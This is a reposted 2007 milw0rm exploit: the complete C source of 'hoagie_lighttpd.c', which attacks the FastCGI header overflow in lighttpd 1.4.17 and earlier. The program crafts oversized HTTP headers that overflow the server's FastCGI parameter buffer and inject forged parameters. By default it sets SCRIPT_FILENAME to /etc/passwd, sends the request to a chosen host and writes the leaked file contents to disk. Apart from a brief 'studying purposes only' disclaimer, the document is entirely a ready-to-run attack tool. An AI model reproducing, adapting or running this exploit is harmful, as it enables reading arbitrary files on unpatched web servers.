Lighttpd 1.4.17 FastCGI Header Overflow Remote Exploit by h3m4n

VIEWS: 50 PAGES: 11

									                          Lighttpd 1.4.17 FastCGI Header Overflow Remote Exploit      Page 1/11
   1   /***********************************************************
   2    * hoagie_lighttpd.c
   3    * LIGHTTPD/FASTCGI REMOTE EXPLOIT (<= 1.4.17)
   4    *
   5    * Bug discovered by:
   6    * Mattias Bengtsson <mattias@secweb.se>
   7    * Philip Olausson <po@secweb.se>
   8    * http://www.secweb.se/en/advisories/lighttpd−fastcgi−remote−vulnerability/
   9    *
  10    * FastCGI:
  11    * http://www.fastcgi.com/devkit/doc/fcgi−spec.html
  12    *
  13    * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF−OF−
  14    * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
  15    * DAMAGE DONE USING THIS PROGRAM.
  16    *
  17    * VOID.AT Security
  18    * andi@void.at
  19    * http://www.void.at
  20    *
  21    ************************************************************/
  22   #include <stdio.h>
  23   #include <unistd.h>
  24   #include <stdlib.h>
  25   #include <string.h>
  26   #include <netdb.h>
  27   #include <time.h>
  28   #include <sys/socket.h>
  29   #include <netinet/in.h>
  30   #include <arpa/inet.h>
  31
  32   /* don’t change this values except you know exactly what you are doing */
  33   #define REQUEST_SIZE_BASE     0x1530a
  34
  35   char FILL_CHAR[] = "void";
  36   char RANDOM_CHAR[] = "01234567890"
  37                        "abcdefghijklmnopqrstuvwxyz"
  38                        "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  39
  40
  41   /* just   default values */
  42   #define   DEFAULT_SCRIPT      "/index.php"  /* can be changed via −s */
  43   #define   DEFAULT_PORT        "80"             /* can be changed via −p */
  44   #define   DEFAULT_NAME        "SCRIPT_FILENAME" /* can be changed via −n */
  45   #define   DEFAULT_VALUE       "/etc/passwd" /* can be change via −a */
  46
  47   #define DEFAULT_SEPARATOR     ’,’
  48
  49   #define BUFFER_SIZE           1024
  50
  51   /* header data type
  52    * defining header name/value content and length
andi                                                                                   09/20/2007
                         Lighttpd 1.4.17 FastCGI Header Overflow Remote Exploit   Page 2/11
  53     * if a fixed value is set use this one instead of generating content
  54     */
  55    struct header_t {
  56        int name_length;
  57        char name_char;
  58        int value_length;
  59        char value_char;
  60        char *value_value;
  61    };
  62
  63    /* generate_param
  64     * generate character array (input: comma separated list)
  65     */
  66    char *generate_param(int *param_size_out,
  67                         char **name,
  68                         char **value) {
  69       char *param = NULL;
  70       int param_size = 0;
  71       int param_offset = 0;
  72       int i;
  73       int name_length = 0;
  74       int value_length = 0;
  75
  76      for (i = 0; name[i] != NULL && value[i] != NULL; i++) {
  77         name_length = strlen(name[i]);
  78         value_length = strlen(value[i]);
  79         if (name_length > 127) {
  80            param_size += 4;
  81         } else {
  82            param_size++;
  83         }
  84         if (value_length > 127) {
  85            param_size += 4;
  86         } else {
  87            param_size++;
  88         }
  89         param_size += strlen(name[i]) + strlen(value[i]);
  90         param = realloc(param, param_size);
  91         if (param) {
  92            if (strlen(name[i]) > 127) {
  93               param[param_offset++] = (name_length >> 24) | 0x80;
  94               param[param_offset++] = (name_length >> 16) & 0xff;
  95               param[param_offset++] = (name_length >> 8) & 0xff;
  96               param[param_offset++] = name_length & 0xff;
  97            } else {
  98               param[param_offset++] = name_length;
  99            }
  100           if (strlen(value[i]) > 127) {
  101              param[param_offset++] = (value_length >> 24) | 0x80;
  102              param[param_offset++] = (value_length >> 16) & 0xff;
  103              param[param_offset++] = (value_length >> 8) & 0xff;
  104              param[param_offset++] = value_length & 0xff;
andi                                                                               09/20/2007
                             Lighttpd 1.4.17 FastCGI Header Overflow Remote Exploit   Page 3/11
  105               } else {
  106                  param[param_offset++] = value_length;
  107               }
  108               memcpy(param + param_offset, name[i], name_length);
  109               param_offset += name_length;
  110               memcpy(param + param_offset, value[i], value_length);
  111               param_offset += value_length;
  112           }
  113       }
  114
  115       if (param) {
  116          *param_size_out = param_size;
  117       }
  118
  119       return param;
  120   }
  121
  122   /* generate_buffer
  123    * generate header name or value buffer
  124    */
  125   char *generate_buffer(int length, char c, int random_mode) {
  126      char *buffer = (char*)malloc(length + 1);
  127      int i;
  128
  129       if (buffer) {
  130          memset(buffer, 0, length + 1);
  131          if (random_mode) {
  132             for (i = 0; i < length; i++) {
  133                buffer[i] = RANDOM_CHAR[rand() % (strlen(RANDOM_CHAR))];
  134             }
  135          } else {
  136             memset(buffer, c, length);
  137          }
  138       }
  139
  140       return buffer;
  141   }
  142
  143   /* generate_array
  144    * generate character array (input: comma separated list)
  145    */
  146   char **generate_array(char *list, char separator, int *length) {
  147      char **data = NULL;
  148      int i = 0;
  149      int start = 0;
  150      int j = 1;
  151
  152       if (list) {
  153          for (i = 0; i <= strlen(list); i++) {
  154             if (list[i] == separator ||
  155                 i == strlen(list)) {
  156                data = realloc(data, (j + 1) * (sizeof(char*)));
andi                                                                                   09/20/2007
                           Lighttpd 1.4.17 FastCGI Header Overflow Remote Exploit                        Page 4/11
  157                 if (data) {
  158                    data[j − 1] = malloc(i − start + 1);
  159                    if (data[j − 1]) {
  160                       strncpy(data[j − 1], list + start, i − start);
  161                       data[j − 1][i − start + 1] = 0;
  162                    }
  163                    data[j] = NULL;
  164                 }
  165                 start = i + 1;
  166                 j++;
  167              }
  168           }
  169           *length = j;
  170       }
  171
  172       return data;
  173   }
  174
  175   /* generate_request
  176    * generate http request to trigger the overflow in fastcgi module
  177    * and overwrite fcgi param data with post content
  178    */
  179   char *generate_request(char *server, char *port,
  180                          char *script, char **names,
  181                          char **values, int *length_out,
  182                          int random_mode) {
  183      char *param;
  184      int param_size;
  185      char *request;
  186      int offset;
  187      int length;
  188      int i;
  189      int fillup;
  190      char *name;
  191      char *value;
  192
  193       /* array of header data that is used to create header name and value lines
  194        * most of this values can be changed −> only length is important and a
  195        * few characters */
  196       struct header_t header[] = {
  197          { 0x01, ’0’, 0x04, FILL_CHAR[0], NULL },
  198          { FILL_CHAR[0] − 0x5 − 0x2, ’B’, FILL_CHAR[0] − 0x2, ’B’, NULL },
  199          { 0x01, ’1’, 0x5450 − ( (FILL_CHAR[0] + 0x1) * 2) − 0x1 − 0x5 − 0x1 − 0x4, ’C’, NULL },
  200          { 0x01, ’2’, ’_’ − 0x1 − 0x5 − 0x1 − 0x1, ’D’, NULL },
  201          { 0x01, ’3’, 0x04, FILL_CHAR[1], NULL },
  202          { FILL_CHAR[1] − 0x5 − 0x2, ’F’, FILL_CHAR[1] − 0x2, ’F’, NULL },
  203          { 0x01, ’4’, 0x5450 − ( (FILL_CHAR[1] + 0x1) * 2) − 0x1 − 0x5 − 0x1 − 0x4, ’H’, NULL },
  204          { 0x01, ’5’, ’_’ − 0x1 − 0x5 − 0x1 − 0x1, ’I’, NULL },
  205          { 0x01, ’6’, 0x04, FILL_CHAR[2], NULL },
  206          { FILL_CHAR[2] − 0x5 − 0x2, ’K’, FILL_CHAR[2] − 0x2, ’K’, NULL },
  207          { 0x01, ’7’, 0x5450 − ( (FILL_CHAR[2] + 0x1) * 2) − 0x1 − 0x5 − 0x1 − 0x4, ’L’, NULL },
  208          { 0x01, ’8’, ’_’ − 0x1 − 0x5 − 0x1 − 0x1, ’M’, NULL },
andi                                                                                                      09/20/2007
                           Lighttpd 1.4.17 FastCGI Header Overflow Remote Exploit                       Page 5/11
  209        {   0x01, ’9’, 0, 0, "uvzz" },
  210        {   FILL_CHAR[3] − 0x5 − 0x2, ’O’, FILL_CHAR[3] − 0x2, ’O’, NULL },
  211        {   0x01, ’z’, 0x1cf − ((FILL_CHAR[3]− 0x1 ) * 2) −0x1 − 0x5 − 0x1 − 0x4, ’z’,   NULL },
  212        {   0x00, 0x00, 0x00, 0x00, NULL }
  213   };
  214
  215   /* fill rest of post content with data */
  216   char content_part_one[] = {
  217      0x06, 0x80, 0x00, 0x00, 0x00, ’H’, ’T’, ’T’, ’P’, ’_’, ’W’
  218   };
  219
  220   /* set a fake FastCGI record to mark the end of data */
  221   char content_part_two[] = {
  222      0x01, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  223      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
  224   };
  225
  226   param = generate_param(&param_size, names, values);
  227   if (param && param_size > 0) {
  228      fillup = 0x54af − 0x5f − 0x1e3 − param_size − 0x1 − 0x5 − 0x1 − 0x4;
  229      length = REQUEST_SIZE_BASE + param_size +
  230               strlen(server) + strlen(port) +
  231               strlen(script);
  232      request = (char*)malloc(length);
  233      if (request) {
  234         memset(request, 0, length);
  235         offset = sprintf(request,
  236                          "POST %s HTTP/1.1\r\n"
  237                          "Host: %s:%s\r\n"
  238                          "Connection: close\r\n"
  239                          "Content−Length: %d\r\n"
  240                          "Content−Type: application/x−www−form−urlencoded\r\n",
  241                          script,
  242                          server, port,
  243                          fillup + param_size + sizeof(content_part_one) +
  244                          sizeof(content_part_two) + 0x5f);
  245         for (i = 0; header[i].name_length != 0; i++) {
  246            name = generate_buffer(header[i].name_length,
  247                                      header[i].name_char,
  248                                      header[i].name_length != 1 ? random_mode : 0);
  249
  250                if (header[i].value_value) {
  251                   value = header[i].value_value;
  252                } else {
  253                   value = generate_buffer(header[i].value_length,
  254                                           header[i].value_char,
  255                                           header[i].value_length != 4 &&
  256                                           header[i].value_char != ’z’ ? random_mode : 0);
  257                }
  258
  259                offset += sprintf(request + offset,
  260                                  "%s: %s\r\n", name, value);
andi                                                                                                     09/20/2007
                                Lighttpd 1.4.17 FastCGI Header Overflow Remote Exploit                        Page 6/11
  261                   if (!header[i].value_value) {
  262                      free(value);
  263                   }
  264                   free(name);
  265               }
  266
  267               offset += sprintf(request + offset, "\r\n");
  268
  269               memcpy(request + offset, param, param_size);
  270               offset += param_size;
  271
  272               content_part_one[0x03] = (fillup >> 8) & 0xff;
  273               content_part_one[0x04] = fillup & 0xff;
  274               for (i = 0; i < sizeof(content_part_one); i++) {
  275                  request[offset++] = content_part_one[i];
  276               }
  277               for (i = 0; i < fillup + 0x5f; i++) {
  278                  request[offset++] = random_mode ? RANDOM_CHAR[rand() % (strlen(RANDOM_CHAR))] : ’W’;
  279               }
  280               for (i = 0; i < sizeof(content_part_two); i++) {
  281                  request[offset++] = content_part_two[i];
  282               }
  283
  284               *length_out = offset;
  285           }
  286       }
  287
  288       return request;
  289   }
  290
  291   /* usage
  292    * display help screen
  293    */
  294   void usage(int argc, char **argv) {
  295      fprintf(stderr,
  296              "usage: %s [−h] [−v] [−r] [−d <host>] [−s <script>] [−p <port>]\n"
  297              "    [−n <header names>] [−a <header values>] [−o <output>]\n"
  298              "\n"
  299              "−h      help\n"
  300              "−v      verbose\n"
  301              "−r      enable random mode\n"
  302              "−d host HTTP server\n"
  303              "−p port HTTP port (default: %s)\n"
  304              "−s script script url on remote server (default: %s)\n"
  305              "−n value header names (comma seperated, default: %s)\n"
  306              "−a value header values (comma seperated, default: %s)\n"
  307              "−o output save result in output file\n"
  308              "\n"
  309              ,
  310              argv[0],
  311              DEFAULT_PORT,
  312              DEFAULT_SCRIPT,
andi                                                                                                           09/20/2007
                           Lighttpd 1.4.17 FastCGI Header Overflow Remote Exploit   Page 7/11
  313               DEFAULT_NAME,
  314               DEFAULT_VALUE);
  315       exit(1);
  316   }
  317
  318   /* connect_to
  319    * connect to remote http server
  320    */
  321   int connect_to(char *host, int port) {
  322      struct sockaddr_in s_in;
  323      struct hostent *he;
  324      int s;
  325
  326       if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == −1) {
  327          return −1;
  328       }
  329
  330       memset(&s_in, 0, sizeof(s_in));
  331       s_in.sin_family = AF_INET;
  332       s_in.sin_port = htons(port);
  333
  334       if ( (he = gethostbyname(host)) != NULL)
  335           memcpy(&s_in.sin_addr, he−>h_addr, he−>h_length);
  336       else {
  337           if ( (s_in.sin_addr.s_addr = inet_addr(host) ) < 0) {
  338              return −3;
  339           }
  340       }
  341
  342       if (connect(s, (struct sockaddr *)&s_in, sizeof(s_in)) == −1) {
  343          return −4;
  344       }
  345
  346       return s;
  347   }
  348
  349   /* parse_response
  350    * parse response data from http server
  351    */
  352   void parse_response(char *response, int response_length, char *output) {
  353      char *p;
  354      int http_code;
  355      int header_mode = 1;
  356      int size;
  357      int bytes = 0;
  358      FILE *fp = stdout;
  359
  360       p = strtok(response, "\r\n");
  361       while (p) {
  362          /* header mode active? */
  363          if (header_mode) {
  364             if (strstr(p, "HTTP/1.1 ") == p) {
andi                                                                                 09/20/2007
                             Lighttpd 1.4.17 FastCGI Header Overflow Remote Exploit   Page 8/11
  365                sscanf(p, "HTTP/1.1 %d", &http_code);
  366                if (http_code == 200) {
  367                   printf("[*] request successful\n");
  368                } else {
  369                   printf("[*] request failed (error code: %d)\n", http_code);
  370                }
  371             } else if (strstr(p, "Server: ") == p) {
  372                printf("[*] server version: %s\n", strstr(p, "Server: ") + 8);
  373             /* content length for first content */
  374             } else if (!strchr(p, ’:’) && http_code == 200) {
  375                sscanf(p, "%x", &size);
  376                header_mode = 0;
  377                if (output) {
  378                   fp = fopen(output, "w");
  379                }
  380             }
  381          } else {
  382             if (bytes < size) {
  383                fprintf(fp, "%s\n", p);
  384                bytes += strlen(p) + 1;
  385             }
  386          }
  387          p = strtok(NULL, "\r\n");
  388       }
  389       if (fp != stdout && fp != NULL) {
  390          printf("[*] %d bytes written to %s\n", bytes, output);
  391          fclose(fp);
  392       }
  393   }
  394
  395   /* main entry
  396    */
  397   int main(int argc, char **argv) {
  398      char *server = NULL;
  399      char *port = DEFAULT_PORT;
  400      char *script = DEFAULT_SCRIPT;
  401      char **name = NULL;
  402      int name_length = 0;
  403      char **value = NULL;
  404      int value_length = 0;
  405      char *request = NULL;
  406      int request_length = 0;
  407      int i;
  408      int random_mode = 0;
  409      int verbose = 0;
  410      int s;
  411      char c;
  412      fd_set fs;
  413      int bytes;
  414      char buffer[BUFFER_SIZE];
  415      char *response = NULL;
  416      int response_length = 0;
andi                                                                                   09/20/2007
                            Lighttpd 1.4.17 FastCGI Header Overflow Remote Exploit        Page 9/11
  417   char *output = NULL;
  418
  419   fprintf(stderr,
  420           "hoagie_lighttpd.c − lighttpd(fastcgi) <= 1.4.17 remote\n"
  421           "−andi / void.at\n\n");
  422
  423   if (argc < 2) {
  424      usage(argc, argv);
  425   } else {
  426      while ((c = getopt (argc, argv, "hvrd:p:s:u:n:a:o:")) != EOF) {
  427         switch (c) {
  428            case ’h’:
  429                 usage(argc, argv);
  430                 break;
  431            case ’d’:
  432                 server = optarg;
  433                 break;
  434            case ’p’:
  435                 port = optarg;
  436                 break;
  437            case ’s’:
  438                 script = optarg;
  439                 break;
  440            case ’n’:
  441                 name = generate_array(optarg, DEFAULT_SEPARATOR, &name_length);
  442                 break;
  443            case ’a’:
  444                 value = generate_array(optarg, DEFAULT_SEPARATOR, &value_length);
  445                 break;
  446            case ’r’:
  447                 random_mode = 1;
  448                 srand(time(NULL));
  449                 break;
  450            case ’v’:
  451                 verbose = 1;
  452                 break;
  453            case ’o’:
  454                 output = optarg;
  455                 break;
  456            default:
  457                 fprintf(stderr, "[*] unknown command line option ’%c’\n", c);
  458                 exit(−1);
  459         }
  460      }
  461
  462       if (!name) {
  463          name = generate_array(DEFAULT_NAME, DEFAULT_SEPARATOR, &name_length);
  464       }
  465
  466       if (!value) {
  467          value = generate_array(DEFAULT_VALUE, DEFAULT_SEPARATOR, &value_length);
  468       }
andi                                                                                       09/20/2007
                    Lighttpd 1.4.17 FastCGI Header Overflow Remote Exploit            Page 10/11
  469
  470
  471   if (name_length != value_length) {
  472      fprintf(stderr,
  473              "[*] check −n and −n parameter (argument list doesnt match)\n");
  474   } else if (!server) {
  475      fprintf(stderr, "[*] server is missing\n");
  476   } else {
  477      if (random_mode) {
  478         for (i = 0; i < 4; i++) {
  479            FILL_CHAR[i] = RANDOM_CHAR[rand() % (strlen(RANDOM_CHAR))];
  480         }
  481      }
  482      printf("[*] creating request (filler: %c/%c/%c/%c, random: %s)\n",
  483             FILL_CHAR[0], FILL_CHAR[1], FILL_CHAR[2], FILL_CHAR[3],
  484             random_mode ? "on": "off");
  485      for (i = 0; name[i]; i++) {
  486         printf("[*] set header [%s]=>[%s]\n", name[i], value[i]);
  487      }
  488      request = generate_request(server, port, script, name, value,
  489                                             &request_length, random_mode);
  490      if (verbose) {
  491         printf("[*] sending [");
  492         write(1, request, request_length);
  493         printf("]\n");
  494      }
  495      if (request) {
  496         printf("[*] connecting to %s:%s ...\n", server, port);
  497         s = connect_to(server, atoi(port));
  498         if (s > 0) {
  499            FD_ZERO(&fs);
  500            FD_SET(s, &fs);
  501            printf("[*] request url %s\n", script);
  502            write(s, request, request_length);
  503            do {
  504                select(s + 1, &fs, NULL, NULL, NULL);
  505                bytes = read(s, buffer, sizeof(buffer));
  506                if (bytes > 0) {
  507                    response_length += bytes;
  508                    response = realloc(response, response_length + 1);
  509                    if (response) {
  510                         memcpy(response + response_length − bytes,
  511                                    buffer,
  512                                    bytes);
  513                    }
  514                }
  515            } while (bytes > 0);
  516            close(s);
  517            response[response_length] = 0;
  518            parse_response(response, response_length, output);
  519         } else {
  520            fprintf(stderr, "[*] connect failed\n");
andi                                                                                    09/20/2007
                              Lighttpd 1.4.17 FastCGI Header Overflow Remote Exploit   Page 11/11
  521                  }
  522                  free(request);
  523               } else {
  524                  fprintf(stderr, "[*] can’t allocate memory for request\n");
  525               }
  526           }
  527
  528           for (i = 0; name[i]; i++) {
  529              free(name[i]);
  530           }
  531           free(name);
  532           for (i = 0; value[i]; i++) {
  533              free(value[i]);
  534           }
  535           free(value);
  536       }
  537
  538       return 0;
  539   }
  540
  541   // milw0rm.com [2007−09−20]




andi                                                                                     09/20/2007

								
To top